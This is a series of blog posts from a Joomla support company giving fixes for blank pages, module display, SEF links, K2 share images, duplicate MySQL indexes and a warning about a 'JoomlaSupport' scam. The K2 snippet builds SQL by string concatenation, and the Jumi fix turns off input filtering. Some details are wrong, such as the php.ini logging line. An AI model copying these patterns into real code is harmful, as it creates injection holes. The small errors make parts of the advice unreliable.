    3. Search the filesystem for any instance of ob_start and comment it out: This is a tricky solution because you will then need to revert your changes once you find the culprit, but it will work.

    4. Instruct PHP to log errors to a file: Modify the php.ini file to log errors to a certain file by adding the following line:

      log_errors=/tmp/errors.log

      The above line will ensure that all errors are stored in the errors.log file under the tmp directory. You can then check the log file to see what the real error is.

    Note that the methods a & b above will most likely display errors about functions needing output buffering turned on. If this happens, then you will need to comment out those function calls as described in method c.

We hope that our post helped you in finding out what the mysterious cause of the blank page is. If you still can’t find out what the root cause is, even after applying all the above solutions, then please contact us. We’ll definitely find where the problem is in very little time and for a very affordable fee! What are your waiting for? Give us a call or shoot us an email!

Blank Page When Using a Gantry Template

A client called us yesterday evening and told us that he was getting a blank page when switching to a Gantry template. He told us that his website worked normally under a regular template, but, as soon as he switched to a Gantry template, he was seeing a blank page.

Before going into the details, we would like to express our opinion about Gantry templates, we don’t like them much – we don’t hate them but we don’t like them much. The level of abstraction they add to the templates is ridicilous, and it makes debugging anything a nightmare.

Now, going back to the real issue, it was very easy for us to reproduce the error, all we needed to do was to switch to a Gantry template. We immediately started debugging the issue, and we found that the problem started with the following line in the index.php file located under the templates/[gantry-template-name] folder:

<?php echo $gantry->displayMainbody(‘mainbody’,’sidebar’,’standard’,’standard’,’standard’,’standard’,’standard’); ?>

Naturally, we searched for the function displayMainbody, and we found it in the gantry.class.php file under the /libraries/gantry/core folder. The problematic line in that function was a call to the static method display on the GantryMainBodyRenderer class. That method was defined in the file gantrymainbodyrenderer.class.php in the folder /libraries/gantry/core/renderers.

We finally narrowed down the problem to the function $gantry->renderLayout, which is responsible for rendering modules. And then it struck us, it was a rogue module that was causing this problem. That module was only being used by the Gantry template and not by other templates. So, in order to know which module it was, we added the following lines to show all the errors:

error_reporting(E_ALL);
ini_set('display_errors', '1');

That allowed us to see the real error, it was this one:

Fatal error: Call to undefined method JDate::toMySQL() in /home/[website-user]/public_html/modules/mod_mt_listing/helper.php on line 126

The error was obviously in a Mosets Tree module (which is not a great extension by all accounts). Fixing the error consisted of simply changing all occurrences from JDate::toMySQL to JDate::toSQL . That was it!

So, the next time you’re seeing a blank page when you’re using a Gantry Template (on the frontend, we’ve discussed the same issue on the backend before), then most likely this is a module. Try disabling the published modules, one by one, until the problem is resolved.

If you really need the problematic module, and you need help fixing it (rather than just disabling it), then please contact us. We have fixed so many extensions and we’re sure we’ll be able to fix yours (even if it’s home-made). Our work is extremely fast and clean, our prices are right, and our target is to keep you as a long term happy customer!

Jumi Module Stripping Out Code: How to Fix

Ah, Jumi! The simple yet very powerful extension that allows you to add code anywhere on your website. We’ve used this extension thousands of times so far and we’ll sure to use it thousands more, at least until Joomla has a built-in extension that does the same thing.

From our experience, Jumi is almost perfect! “Why is it not perfect?”, we hear you ask. Well, because some of its features don’t work by default, you have to fix them first. For example, the Jumi module strips out code by default (and that is true even if you ensured that your Joomla user belongs to a group that has no HTML filtering in Joomla’s configuration), which defies the whole point. The cause of this issue is that the type of input for Code Written in a Jumi module is set to be filtered, which means that no matter which settings you change to make that Jumi module accept code (such as PHP code and JavaScript code), you won’t be able to!

Luckily this bug can be solved very easily. Here’s how:

  • Open the file mod_jumi.xml located under the modules/mod_jumi folder in your Joomla website.
  • Change the following line:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" />

    to:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" filter="raw"/>

  • That’s it!

After doing the above, you will be able to enter code – any code – freely in your Jumi module because no filtering whatsoever will be applied.

Of course, we think that this bug is weird, and the fact that no one has reported it so far is even weirder, considering the number of people who use this extension on a regular basis. Nevertheless, we’ve seen even weirder things, so we’re not that surprised. We hope that this bug will be fixed in the next version of Jumi (we’re not that optimistic though, since the bug has been there for years).

In any case, if you’re trying to add code to your Jumi module but that code is being stripped out, then please try the above solution. If you have tried it but with no avail, then all you need to do is to contact us. Our prices are right, our work is professional, and we are the friendliest programmers in the whole wide world (e.g. in the www)!

Why You Should Only Use SEF Links in Your Content

When migrating a website from a version of Joomla to another version, one of the extremely challenging issues that we face is maintaining the link structure. Yes, we know, having the same link structure should be seamless when migrating a Joomla website, but in most cases, it is not. Here’s why…

Many Joomla administrators use non-SEF links for linking to other pages. For example, if they want to link to a certain article, they use the following link: index.php?option=com_content&view=article&ItemId=101&id=5, which is then translated by the SEF system plugin to something like http://www.[joomla-website].com/my-fifth-article.html. Now, this practice is OK when you want to keep the same website and the same Joomla version forever, but it fails miserably the second you want to migrate to a different version of Joomla. Let us explain further…

When you migrate a Joomla website to a different version, it is sometimes impossible to maintain the same IDs in the new version without a lot of manual work. For example, the ID of the article will not be the same, as well as the ItemId of the menu item pointing to that article (or the category of the article). Hence, when the SEF system plugin runs on the same non-SEF URL above on the new website, the resulting SEF URL may be completely different (or may not even work, especially if the old ID of the article no longer exists in the migrated website). This issue alone frustrates Joomla administrators the first time they attempt a migration which results in them reverting back to the previous version of Joomla and hoping that the world will end before their Joomla website gets hacked (a website using an old version of Joomla is just waiting to be hacked, if it’s not already hacked).

So, what’s the solution to this problem?

Well, the ideal solution is to always use SEF links to point to your content (articles, categories, contacts, etc…) from within your content, instead of using non-SEF links.

But, if you’re already at the point where it’s too late (you’re migrating your Joomla website and you have non-SEF links in your content), then you have 2 options:

      Create a script that will replace non-SEF links with SEF links in your old content before migrating your content to your new Joomla website.

    1. Create a script that will replace old IDs with new IDs and old ItemIds with new ItemIds after migrating your content to your new Joomla website.

    We prefer the first option over the second option, although both will take more or less the same time. The first option is better, in our opinion, because it will get rid of the problem once and for all. If you use the second option, then you will run into the same problem when you migrate your Joomla website to a newer version in the future.

    If you need help implementing any of the solutions above, then that’s what we’re here for. Just contact us and rest assured that we will do the work for you promptly, professionally, and for a very competitive fee!

How to Hide a Module in Articles but Show It in the Parent Category

Joomla is a very powerful CMS (much more powerful than WordPress, in our humble opinion), but there are some basic things that cannot be done easily. For example, one of our clients told us that they wanted to display a few modules only on the category blog page, but not on the child categories. They had a category called Vacations, and articles such as Amsterdam, London, Paris, etc… and they only wanted to display a few modules on the Vacations category blog page, but not on the Paris page.

Those who have been using Joomla for a long time know how modules are displayed on a page: they are assigned to a Menu Item Id, and they are displayed only for that Menu Item Id. In a default installation of Joomla and for articles who don’t have unique Menu Items, the Menu Item Id of those articles is the same as the parent category, which means that the modules appearing on the parent category will also display on those articles.

But, if what if you don’t want to display those modules on child articles?

Unfortunately, there’s no way from within Joomla to do this. However, you can do this by making adjustments to your template. Here’s how:

  • You create module positions in the template that should show up only on the category page.
  • You add a condition, in the template, to display these modules on category pages, and not on article pages.

Here’s how to do this technically:

  • Open the file index.php located under the templates/[template-name] folder on your Joomla website.
  • In the desired location, add the following code:

    <?php if (JRequest::getVar( 'view' ) != 'article') : ?>
    <jdoc:include type="modules" name="[module-position-name]" />
    <?php endif; ?>

  • Upload the index.php back to the templates/[template-name] folder.

  • Assign your modules to the [module-position-name].

  • Browse your website and you will notice that these modules will not appear on article pages, just category pages.

Is there another way for doing this?

If you’re using a basic Joomla instance, then no, there isn’t any other way. However, if you’re using sh404SEF, then there are other ways to do this, but not as clean or stable (basically you will need to modify the ItemID in the category/article URLs. Works but not a great idea and not something that we recommend).

If you want to do the above but you lack the technical skills, then all you need to do is to contact us. We can do this for you in no time, we will not charge you much, and we are really, really friendly!

References – When We Provide Them to Potential Clients and When We Don’t

We got a call late at night yesterday from a new client. The client was frustrated with the current development company that she’s working (she wanted to create a small extension on her Joomla website and the development company kept delaying the project), and that’s why she called us…

She discussed with us her requirements. We gave her an estimate of 4 hours to complete the work, and we told her that we can start he work immediately. She then said, can you please send me at least 3 references so I can authorize the work? Our answer was: “Unfortunately, we can’t!” – and then, of course, we told her the reasons why:

  • Our references are important people working for important companies: This fact makes it really hard for us to send these references’ contact information to just any client. Our references don’t work for us and we don’t expect them to tolerate constant emails from potential clients asking them whether we’re good or not.
  • We only provide references for very large projects: If you come to us with a 4 hour mini-project and you are expecting some references – then we’re afraid we will disappoint you. We just can’t provide references for very small projects, mainly for the reason mentioned above and also because it just creates unnecessary overhead. It’s just not worth it. Only large projects (projects that take 2 months and more of full time work for one person) are entitled for references.

  • We only provide references to established companies: Let’s face it – if you’re asking for references then it’s a clear sign that you don’t trust us – so, why should we trust you? If we send our references in the major companies we work with, then what guarantees us that the contact information of these references won’t be used for something other than checking for our work?

  • We only provide references as a last step prior to authorizing the work: If we think that you’ll be going to ask us for something else after you have the references then we will decline your request for references. We think that providing any references should be the very last step prior to starting the work. There shouldn’t be any additional requirements from your end to authorize the work after checking the references.

  • We will only provide you with a maximum of two references: We had a client once who asked us for 12 references (yes, that wasn’t a typo, twelve references), obviously, we immediately dismissed the request and the project, despite the fact that the project was a very large one. We just won’t provide more than 2 references to any client under any circumstances. In most cases, we only send one reference.

  • We generally don’t like handing out references: As we mentioned earlier, references represent a big annoyance to us and to our established corporate clients, and that’s why we don’t like them. We also prefer clients who trust us from the get-go, clients who are willing to take a leap of faith with us (the same way we are with them).

After explaining the above to our client, she went ahead and authorized the project without any references, and her project was done the very same day. She was very happy with the work and the small amount of time it took to finish it.

If you want us to work with you and you are expecting references, then make sure you meet the requirements above (mainly you have a large project and you are an established company). If you have any questions, then please contact us.

How Joomla’s Redirect Manager System Plugin Works

Today, Saturday the 18th of April 2014, is a historic day. We are going to do what no man (or group of men) has ever done. We are going to unveal a great secret. We are going to explain how Joomla’s Redirect Manager system plugin works!

Yes, that dramatic introduction was necessary, because there’s not a single reference online or offline, official or unofficial, explaining how Joomla’s Redirect Manager works!

So how does Joomla’s Redirect Manager work?

A common misconception about Joomla’s Redirect Manager is that it works the following way:

  • You go to the Redirect Manager component by clicking on Components -> Redirect.
  • You click on New on the top right.

  • You enter your old URL in the Source URL and the new URL (the URL you want the old URL to redirect to) in the Destination URL.

  • You click on Save on the top right and then you visit the old URL on your trusted browser expecting a glorious 301 redirect to the destination (new) URL but nothing happens!

  • You do the same thing over and over again, making sure that you’re entering the old URL exactly as it is in the Redirect Manager, but still nothing works!

  • You give up on the Redirect Manager and you do your redirects either in the .htaccess file or through a 3rd party extension such as sh404SEF.

  • You start wondering why-oh-why does Joomla have a built-in extension that doesn’t even work, and even start suspecting the stability of Joomla.

  • You begin experiencing terrible nightmares about this issue and you start seeking professional help! (OK, this is a joke! If it’s not then you should really take it easy).

As you can see, using the Redirect Manager typically ends up in frustration and complete abandonment of the extension. The thing is, the extension actually really works, but the majority of people don’t even know how.

So, how does the Redirect Manager really work?

Here’s a concise and accurate definition of how the Redirect Manager system plugin works: “The Redirect Manager system plugin redirects from a Source URL that generates a 404 error to the Destination URL. ” In other words, don’t expect the Redirect Manager to redirect a page that already exists on your website to another page; in order for the magic to happen, the Source URL must yield a 404 error. There are some other obvious conditions for the Redirect Manager to do its job properly:

  • There must not be any condition(s) in the .htaccess file that redirects 404 pages to other pages. Such a condition will run prior to the Redirect Manager system plugin and thus, the plugin will not work because it won’t see any 404 page.
  • The Redirect Manager system plugin must be enabled (Duh!).

  • The Source URL must generate a 404 error on the Joomla website. In other words, the 404 error must be generated by the Joomla website, and not by Apache, this is because the Redirect Manager system plugin does all its work in the handleError event that is triggered when an error (non-fatal) happens on the Joomla website.

If you’re still having problems with the Redirect Manager extension and you need help, then please contact us. Our fees are right, our work is professional, we know our Joomla, and we are the friendliest programmers on planet Earth.

How to Set the Facebook Share Image on K2

If you have a Facebook Share button on your website, then you might have noticed that Facebook tends to automatically choose an image in the popup. In some cases, Facebook chooses the right image, because the image chosen is the one closest to the share button, which is typically located inside the article itself (so Facebook chooses an image from inside the article).

However, if your article doesn’t have an image, then Facebook will choose another image from your website as the share image; that image might be the logo of your website (which usually looks distorted or wrongly cropped), or even the banner of a completely irrelevant ad located inside the article. Imagine that: people clicking on the share button and seeing the image of an ad on your website instead of an image related to your website/your post.

Also, it might be that you want to display the same share image for all your articles instead of a different image for each article. That’s what many websites are doing these days to better promote their corporate social identity.

Now, if you’re using K2, then you’re in luck, because in this post we will explain how to set the Facebook share image to be the same on all your K2 articles! Without further delay, here’s how it can be done:

  • Open the file view.html.php located under the /components/com_k2/views/item folder of your Joomla website.
  • Just above the line:

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($document->getDescription()), ENT_QUOTES, 'UTF-8'));

    Add the following line:

    $document->setMetaData('og:image', 'http://www.yourjoomlawebsite.com/path-to-your-facebook-share-image.jpg');

  • Save the file and upload it back to your Joomla website.

  • That’s it!

The above will set a global share image for all K2 items, but not the category pages. If you want to set the Facebook share image on a K2 category (just the category, not the items belonging to that category), then all you need to do is to assign an image to that category. Here’s how this can be done:

  • Login to the backend of your Joomla website.
  • Go to Components -> K2 -> Categories.

  • Click on the category you wish to set the Facebook Image for.

  • Click on Image (below the Language dropdown and just next to Description tab).

  • Choose an image for your category.

  • This image will be used as the default image for Facebook when you click on the Share button.

Some notes:

  • The image you choose as your Facebook share image must have a size of at least 200px x 200px, otherwise, it will not be used by Facebook. Note that you should always opt for a 1:1 ratio, for example, if the width of the image is 300px, then the height must be 300px, otherwise, the share image will look distorted.
  • Facebook will cache images, so if you don’t see your changes appearing immediately, do not worry. Your changes will appear once Facebook refreshes its cache.

  • og stands for Open Graph, which is the same standard used by LinkedIn. This means that when you set the image for Facebook share, it will be set for LinkedIn share as well!

  • You can debug your Open Graph meta data the Facebook debug tool here. Just enter the URL of the page that you have the Open Graph metadata in and Facebook will tell you how it’s reading it (it’ll also tell you if there’s any problem with it, such as images being too small).

  • K2 has some code that apparently tries to set the Facebook share image for an item. Unfortunately, that code has no effect, even if it runs, but it will never run because the condition set to run the code will never be fulfilled.

Social meta-tagging, such as setting share images, might look daunting, but it really isn’t. Nevertheless, if you have problems with social meta-tagging on your Joomla website, then please contact us. We’ll solve the problem for you in no time and for a very reasonable cost!

Duplicate Indexes Can Really Slow Down Your Joomla Website

Note: This post is extremely advanced and is geared towards those who are well versed in database administration and who have a vast knowledge of the ins and outs of Joomla. If that doesn’t apply to you, then please do not experiment with your live site (you may make things worse, much worse), and contact some professionals, such as, ahem, itoctopus!

Another note: If the MySQL Slow Query Log is showing that this query…

UPDATE #__content SET hits=n WHERE id=m

…is taking a long time to execute then this post will definitely help!

Every new programmer is taught that table indexing is good for you – and that he should ensure that all the filter fields in all the tables are properly indexed. So, that programmer grows into thinking that the more indexes he has on a table, the faster that table is. This is wrong…

In fact, the more indexes you have on a certain table, the slower any updates/inserts on that table are. Additionally, if you have duplicate indexes, then the performance hit on updates/inserts can be dramatic. Not only that, the performance gain from duplicate indexes in read only table activities (such as SELECT queries) is this: none, zilch, zero, nada! (There are some exceptions to this though.)

The thing is, detecting duplicate indexes can be a painful job, and requires some serious expertise in database administration. Of course, there are tools that can detect duplicate indexes, but we are assuming that you don’t have access to these tools.

So how can you manually detect duplicate indexes?

Before detecting duplicate indexes on a table, you will first need to check the indexes on that particular table. This can be done in 2 ways:

  1. Clicking on the Indexes link just below the table structure in the Structure view of that table in phpMyAdmin.
  2. Running the following query:

    SHOW INDEX FROM [your-joomla-table];

    For example:

    SHOW INDEX FROM #__categories

    where #__ is your Joomla table prefix as defined in the configuration.php file located in the root directory of your Joomla website.

Now, once you’re able to see the indexes on that table, you will need to visually check for duplicates. Of course, the big question is, how?

Well, an obvious duplicate index is when you have the same field indexed twice in an identical index. An example of this scenario is when you have these 2 indexes on the same table:

  • idx_left: Which solely consists of the left column.
  • idx_left_2: Which also solely consists of the left column.

Of course, it is super easy to detect such a duplicate index. A more complicated one to detect (and fix) is when you have the index consisting of more than one column. For example, let’s say you have the following indexes on your table:

  • idx_title: Which solely consists of the title column.
  • idx_title_published: Which consists of the title and the published columns.

  • idx_title_alias_published: Which consists of the 3 columns: title, alias, and published.

Now, before explaining the duplication in the above, let us very quickly explain how indexing works if there are multiple columns in the index: in short, an index is created on the first column, and then an index is created on the first column and the second column, and then an index is created on the first column, second column, and the third column, etc…

For example, in our index idx_title_alias_published above, the following columns are indexed: title/title, alias/title, alias, published. As you can see, the index idx_title is clearly a duplicate, because we already have an index on the title column as part of the idx_title_alias_published index. So, we can safely drop that index by issuing the following query (or by clicking on Drop next to the index name in phpMyAdmin):

ALTER TABLE [your-joomla-table] DROP INDEX `idx_title`

But, how about the idx_title_published index. Clearly the first index created (which is the index on the title column) is a duplicate in the idx_title_alias_published index , but the second index, which is the index on the title and the published columns, is not. Now, since there’s a 99.99999% chance that we are only interested in the idx_title_alias_published index because of the index on the 3 columns combined (e.g. the index on the title, the alias, and the published fields), then we can modify that index to be idx_title_published_alias, where the order of the fields in that index is: title, published, and alias. If we do this, then both indexes created by the idx_title_published will be included, which means we can safely delete it (e.g. we can safely delete the idx_title_published index).

Of course, the examples we gave above are simplistic, and the indexes can be much more complicated than that (keep in mind also, that in some cases, duplicate indexes are a necessity, but that’s probably in about 2% of the cases). If you are having some performance issues on your Joomla website because of duplicate indexes, then please contact us. We would love to help and we won’t charge you much.

A final thought: Table indexing is an art, so the artist title should be bestowed on whoever masters that art.

Script to Mass Update sh404SEF Links and Add the Original Links as Aliases

If you’re using sh404SEF, then, first, we feel sorry for you! But second, we have good news!

We have created a script that allows you to batch change links in sh404SEF. For example, say you have 5,000 links on your website that contain the pattern my-products/, and say you want to change my-products/ to products/ while ensuring that your old links still work. Here’s what you’ll have to do:

  • Change the category (or the menu item) alias from my-products to products.
  • Flush all the sh404SEF links.

  • Go through 5,000 links that have products/ in them, and then add the appropriate alias. For example, for the link http://www.yourjoomlawebsite.com/products/, you will need to add http://www.yourjooomlawebsite.com/my-products/ as an alias. You must do this to ensure that your old links still work and redirect to the new links. A much more expedient way of fixing the problem is by adding a rule in your .htaccess file to redirect anything that has my-products/ to products/, but it’s always better to avoid making changes in your .htaccess file unless you can’t do them at the Joomla level. (We’ve seen .htaccess files that are illegible.)

As you can see, the process for massively changing links and ensuring that the old links redirect to the new ones in a 301 redirect is not straightforward and can take a lot of time especially if you go with it the manual way (instead of doing it in the .htaccess file). But, if you use our script, then all you need to do is the following:

  • Extract the zipped PHP file to he root directory of your website.
  • Open that PHP file and change the values of $changeFrom and $changeTo to your values (in our example above, $changeFrom should be my-products/ and $changeTo should be products/).

  • Point your browser to http://www.yourjoomlawebsite.com/changesh404SEFLinks.php. Once you see the word “Done!”, then it means all your links are changed, and your old links are 301 redirected to the new ones. Congratulations!

Some notes:

  • This script is designed to work on Joomla 2.5, but it might work on 3.x with little or no modification. We haven’t tested it on Joomla 3.x yet.
  • Running the script more than once accidentally should not harm the website.

  • You should backup your website before running the script. We are not responsible for any direct/indirect issues on your website caused by the script.

We hope our post helped! If you have issues running the script, then please contact us. We’ll be more than happy to help for a very reasonable fee!

The JoomlaSupport User Is a Scam! Beware!

A new phenomenon that we’re noticing lately is that a user with a username “JoomlaSupport” is registering automatically on Joomla sites that allow user registration.

Once that user registers, the owner of the Joomla website is contacted by a shady company, (surprisingly) called “JoomlaSupport”, pretending to be Joomla’s Official Support and telling him that his website is hacked and that he needs to give them full access to fix the problem (for money, of course!).

This is a scam! Do not even reply to their email!

The problem is, some Joomla website owners will probably fall for these deceptive and scammy techniques and will most likely pay that shady company a lot of money for doing absolutely nothing. Not only that, we’re sure that this company will contact those deceived owners again, and again, and again, to extort more money from them.

So, what can one do to avoid being scammed?

Well, first of all, ignore any “official” email from Joomla – Joomla will never send emails to those using the Joomla CMS. In fact, Joomla doesn’t even know the emails of Joomla administrators/website owners out there. If you ever receive an email pretending to be from Joomla, then you should rest assured that that email is a scam.

But, how did the JoomlaSupport user registered in the first place?

By default, Joomla websites allow user registration, and that’s how any user (or any script) can register to the website, even if the website doesn’t have a registration form. Joomla administrators must disable user registration if they’re no using it, we have explained how to do this, in details, here.

If your website has received an unwelcome email from “JoomlaSupport”, then you can safely ignore it, it really is nothing more than a scam. If you want help on your Joomla website, then please contact us, and we’ll be more than happy to work with you! Please note that our super affordable fees apply.

20 Thoughts for a Better Joomla

We have been working with Joomla for nearly a decade now (actually, more than a decade if you include the time we worked with Mambo), and we know it inside out. Joomla is a great CMS, and, in our humble opinion, it is the best CMS. Having said that, there is still room for improvement, and that’s why we are listing below 20 thoughts to make Joomla even better!

  1. Using jQuery instead of MooTools: If we had a time every time we fixed a problem on a Joomla website because of a jQuery conflict with MooTools, we’d have over a hundred dollars now! We really have no idea why the Joomla team insists on using MooTools instead of jQuery, despite the fact that the latter is much easier and much more widespread. Thankfully, Joomla 3.x is using jQuery instead of MooTools, but Joomla 2.5 is still using MooTools (it can always be disabled though), which means once Joomla 2.5 is phased out, this problem will be no more!
  2. Addressing the performance issues: As we have mentioned before, Joomla suffers from major performance issues inherent to its core. We’re not only talking about inefficient queries, but we’re also talking about inefficient queries that are run twice. We are also talking about costly (database wise) updates that take forever to be executed on large Joomla websites. These problems still exist in the latest versions of Joomla 2.5 and 3.x. Interestingly, most of these performance issues did not exist in Joomla 1.5, that’s why many Joomla administrators are still hesitant to migrate to Joomla 2.5/3.x despite the security risks they currently have on their Joomla 1.5 sites.

  3. Integrating a form builder in the core: An extremely used feature in Joomla is form building. In fact, about 50% of the websites that we work on use a 3rd party custom form builder. While some of these 3rd party extensions are excellent (such as RSForms!), it is a great idea to integrate a custom form builder in Joomla’s own core instead of having Joomla administrators shop around for an extension that does this job.

  4. Integrating a data export tool: If you want to export your data from one Joomla website to another, then you will soon find that it’s not an easy task, this is because Joomla doesn’t have a built-in tool for this purpose. You will have to jump through hoops to do the export, and quite often, the result isn’t impressive (e.g. the export doesn’t work as it should). Joomla must have a data export tool similar to the one that WordPress has, it’ll really make the life of many Joomla administrators much, much easier!

  5. Fixing caching: Caching in Joomla works, but, on the flip side, it can break the whole website. This is why Joomla administrators prefer to use 3rd party extensions to handle caching. Joomla must learn from these extensions to fix its own caching. It’s completely silly to disable Joomla’s own caching to use a 3rd party extension instead.

  6. Intelligent ordering of the plugins: If you’re not that new to Joomla, you probably know by now (the hard way) that the ordering of the plugins does matter, and that you must order your plugins the right way to ensure that your website works correctly. But knowing the right ordering is extremely tricky and can take a lot of time. Joomla must have the intelligence to automatically order plugins the right way. Of course, the Joomla administrator must still be able to fine-tune the ordering – but Joomla must have a functionality to intelligently auto-order plugins.

  7. Getting rid of the assets table: If there is one table that makes everything in Joomla much more complicated, it’s the #__assets table. We consider that table a step back, and not a step forward (it didn’t exist in Joomla 1.5, and it’s one of the reasons Joomla 1.5 is faster than 2.5 and 3.x). Not only does this table add unnecessary complexity to Joomla, it also causes serious performance and ACL issues. Joomla 1.5 was running very well without this table, so getting rid of it is not impossible.

  8. Better ACL: We always have at least a couple of calls every week from customers who say that they inadvertently broke their Joomla websites because they made changes to the ACL. In some cases, customers are no longer able to login to their Joomla backend because of their accidental ACL changes. We think that the current ACL gives too much rope for administrators to hang themselves – it’s just way too allowing. The ACL must be flexible, yes, but there must be some checks to ensure that whatever the administrator is doing will not break the website.

    Additionally, Joomla’s ACL, as it currently is, is quite complicated. It should be easier, much more easier than it currently is.

  9. Better SEF: Joomla has its own SEF engine, yet most websites, especially large and important websites, use 3rd party extensions to handle SEF. In fact, the majority of these websites choose the worst Joomla extension over Joomla’s own SEF! To its credit, we think that Joomla’s SEF plugin is extremely stable – it just isn’t flexible at all.

  10. Fixing the Redirect Manager: If anyone out there knows how Joomla’s Redirect Manager component works, please do let us know. For the life of us, we have never been able to make that thing work properly without modification to Joomla’s core. The Redirect Manager is clearly broken (or it might be that nobody knows, including us and those who created it, how to make it work properly).

  11. Fixing the Update Manager: The Update Manager is a critical feature in Joomla 2.5 and up. But, alas, it’s buggy. In fact, on this very day and at this very moment, we have many websites that are updated to Joomla 2.5.19 (the latest version), but the Update Manager is telling us to update to Joomla 2.5.18. Maybe it makes sense on a Bizarro planet, but here, on Planet Earth, it’s just weird!

  12. Using the JCE Editor by default instead of TinyMCE: We love JCE Editor, and our customers love it as well. We think that it’s way better than TinyMCE, yet Joomla still ships with TinyMCE as the default editor (instead of JCE Editor), even though it often has security issues, it has way less features than JCE Editor, and it’s not even remotely as flexible. We think that Joomla must use the JCE Editor as the default editor – it’s just a much better editor on all levels.

  13. Restoring the Preview functionality: Every time we migrate a Joomla 1.5 website to Joomla 2.5 or 3.x, the client asks us, “Where is my Preview button?”. Joomla made a wrong decision by dropping the Preview functionality in version 2.5 and higher. Of course, there are 3rd party extensions that can do that, but we think that this should be part of Joomla’s core.

  14. Allowing Joomla administrators to assign modules to a menu item from within that menu item: Assigning modules to a menu item from within that menu item is an extremely handy feature, and we’re surprised that Joomla still doesn’t have it. In fact, what Joomla has at the moment (in the menu item) is completely useless: it lists all the modules that the website has in the menu item, and next to each module it has “Yes”, “No”, or “All” (there is also no way to order by Display) – if you have a few dozen modules on your Joomla website, you will immediately know how annoying and useless this feature is.

  15. Overhauling the hidden menu concept: This concept is probably related to enhancing Joomla’s SEF. The hidden menu concept started as a workaround and now is an integral part of doing things in Joomla. We think that this whole concept must be overhauled in one way or another – again, if Joomla has a much better SEF, then we won’t even need this workaround in the first place.

  16. Integrating a built-in firewall: The majority of Joomla hacks that we fixed could have been prevented if Joomla had a built-in firewall. The firewall would just have to filter the input and check the files uploaded to the system (weeding out malicious uploads). Note: At itoctopus, we have developed a mini Joomla firewall that we are using for our own clients (on top of the other security features we have implemented for them).

  17. Adding the Extra Fields functionality to content items: K2’s extra fields are very powerful and very useful, it is extremely odd that Joomla doesn’t have the equivalent in its content items. In fact, if you want to extend a content item, you will need to modify Joomla’s own core, which is not a great way of doing things! This feature is pretty handy and most Joomla administrators need it!

  18. Built-in SEO tools: While Joomla allows you to individually set the meta information (such as the meta description and the meta keywords) for content items, it will not automatically generate them. It also doesn’t add canonical links to the HTML code. Joomla must do these things – users shouldn’t need to download 3rd party extensions to do that!

  19. Ensuring that the installation of an extension will not break the website: Joomla is notorious for allowing 3rd party extensions to break the website. We think that Joomla must implement a mechanism to check whether an-about-to-be-installed extension will break the website or not, and if it will, then Joomla must not allow the installation to go through. Of course, we reckon that it’s extremely hard (but not impossible) to implement this functionality, but, at the very least, Joomla must have an easy way to revert to the previous stable state if a newly installed extension breaks the website (more or less like the Windows Restore functionality).

  20. Ensuring that an about-to-be-installed extension is secure: Before allowing an extension to be installed, Joomla must first scan it to check whether 1) it contains some malicious code and 2) it adheres to Joomla’s security standards. This is not as hard as it seems. Yes – installing an extension will take a bit more time, but that time will definitely be worth it.

There you go – this is our list for a better Joomla. If you think of something else, then please add it in the comment section below. And, as usual, if you need help on your Joomla website, then please contact us and we’ll get back to you instantly. Note that our super affordable fees apply.

How to Programmatically Generate an SEF Link of a K2 Item

Although K2 is one of the most used and powerful Joomla extensions out there, there is very little documentation to do even the basic things with it. For example, how can one generate an SEF link to a K2 item based on the ID of that item?

That’s why, at itoctopus, we decided to share a little piece of code to generate a link to a K2 item simply based on its id. Here it is:

//we assume that the K2 ID is stored in the variable $k2Id
$db = JFactory::getDbo();
$sql = "SELECT alias, catid FROM #__k2_items WHERE id='".$k2Id."'";
$db->setQuery($sql);
$arrK2ItemInformation = $db->loadAssoc();

$sql = "SELECT alias FROM #__k2_categories WHERE id='".$arrK2ItemInformation['catid']."'";
$db->setQuery($sql);
$arrK2CategoryInformation = $db->loadAssoc();

require_once(JPATH_SITE.DS.'components'.DS.'com_k2'.DS.'helpers'.DS.'route.php');
$strK2SEFURL = JURI::root().JRoute::_(
K2HelperRoute::getItemRoute($k2Id.':'.urlencode($arrK2ItemInformation['alias']),
$arrK2ItemInformation['catid'].':'.urlencode($arrK2CategoryInformation['alias']
)));
$strK2SEFURL = str_replace('//', '/', $strK2SEFURL);
//the K2 SEF URL will be stored in $strK2SEFURL

You can put the above code in a template, a module, a component, or even a plugin, as long as you know the ID of the K2 item that you want to display the link for. It really works and it’s really that simple!

If the above code is a bit over your head, then fear not, just contact us and we’ll implement it for you. We won’t charge you much and we’ll do the work quickly, efficiently, and professionally!

How to Remove the Div Tag From Custom HTML Modules

Custom HTML modules are by far the most used (and most loved) modules in Joomla. They’re very easy to use, they do the job, and they are extremely light. However, there is one problem with Custom HTML modules that stops them from being perfect, it’s that they always encapsulate the user’s content (e.g. the content that you add) in a div tag. There is no way to remove the div: you can style it the way you want, but you cannot remove it. That’s a bummer!

“Why would people want to remove that harmless div tag?”, we hear you asking… Well, because if you want to use the Custom HTML module to solely add some CSS styles or some JavaScript code, then most likely you do not want that needless div tag, especially because it may make the HTML code invalid (for example, when the module is added to the head tag).

Most Joomla administrators circumvent this problem by using a simple 3rd extension that will add their content without the encapsulating div. While this strategy works, we have a better way of doing this, and the best part is that it doesn’t involve modifying the Custom HTML module (we just extend it)…

Here’s a simple guide on how we do this:

  • We copy the default.php file from the /modules/mod_custom/tmpl folder to the /templates/[your-template-name]/html/mod_custom folder (if that folder structure doesn’t already exist, we create it).
  • We rename the file default.php which is now under the /templates/[your-template-name]/html/mod_custom to nodiv.php.

  • We open the file nodiv.php, and we remove the following lines:

    <div <?php if ($params->get('backgroundimage')) : ?> style="background-image:url(<?php echo $params->get('backgroundimage');?>)"<?php endif;?> >

    and

    </div>

  • We save the file and then we upload it back to the server.

  • We login to the backend, and we create a Custom HTML module (or we open an existing one).

  • We click on the Advanced Options tab on the right, and then we choose nodiv from the Alternative Layout dropdown.

  • We save the Custom HTML module and we check the website. And Voilà! The encapsulating div tag is no longer there!

We hope you liked our little guide and we hope that you found it useful. However, if you have tried the above and you still see the annoying div tag in the Custom HTML module even though you set the layout to nodiv, or if you think the above is too technical, then please contact us. We are always happy and eager to help, we work really fast, and our rates are super-duper cheap!

On Pointing a Fresh Joomla Install to the Database of an Old Joomla Website

We are seeing more and more Joomla administrators doing the following when they have some issues on their Joomla websites that they cannot resolve themselves:

  • They create a Joomla website from a fresh install (same version of the one that they currently have).
